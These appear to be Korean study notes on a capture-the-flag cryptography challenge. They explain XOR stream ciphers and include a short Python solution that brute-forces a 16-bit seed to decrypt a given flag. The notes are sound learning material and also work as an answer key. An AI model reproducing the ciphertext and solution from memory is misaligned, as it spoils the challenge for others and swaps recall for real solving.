스트림 암호는 길이가 n 인 키 K 를 가지며, 이 키로 긴 키스트림(Key Stream)을 생성한다. 이 키스트림은 평문 P 와 XOR 연산을 하여 암호문 C 를 만드는데 사용된다. 스트림 암호를 복호화 하기 위해서는 암호화에 사용된 것과 똑같은 키스트림으로 암호문과 XOR 하면 평문이 만들어진다. 따라서 키스트림은 일회성 암호 키로 사용된다.
키스트림 생성 함수를 간단히 표현하며 다음과 같다.(K 는 키, S 는 키스트림)
StreamCipher(K) = S
![[Pasted image 20240928125229.png]]
STREAM 클래스가 암호화 / 복호화에 사용되는 스트림 암호 방식을 구현
평문과 난수 스트림을 XOR 연산해 암호화를 수행 - 복호화 시에도 같은 스트림을 이용, 암호문과 XOR 연산하면 평문이 복원됨
즉, 암호화에 사용된 난수 스트림을 알아야 함
c.f. 같은 seed, size로 스트림 객체를 생성하면 같은 스트림이 생성된다
flag 파일을 읽어와서 암호화하는 스크립트
seed 값은 random.getrandbits(16)를 통해 16비트 난수로 결정됨
assert문으로 플래그가 DH{} 형식을 가짐을 보장
암호화된 플래그가 16진수 문자열로 제공
prob에서 random ... 으로 생성된 시드값이 16비트 크기이므로 2^16 가지 존재
cipher의 STREAM 클래스로 seed 값을 전부 대입해 암호문을 복호화, DH로 시작하는지 확인하면 될듯?
## sol.py
from cipher import STREAM
## encrypted_flag = bytes.fromhex("3cef03c64ac240c349971d9e4c951cc14ec4199f409249c21e964ac540c540944f901c934cc240934d96419f4b9e4d9f1cc41dc61dc34e9219c31bc11a914f9141c61ada")
encrypted_flag = bytearray.fromhex("3cef03c64ac240c349971d9e4c951cc14ec4199f409249c21e964ac540c540944f901c934cc240934d96419f4b9e4d9f1cc41dc61dc34e9219c31bc11a914f9141c61ada")
for seed in range(0x10000):
stream = STREAM(seed, 16)
decrypted_flag = stream.decrypt(encrypted_flag)
if decrypted_flag.startswith(b"DH{") and decrypted_flag.endswith(b"}"):
print("Seed: {}, Flag: {}".format(seed, decrypted_flag))
break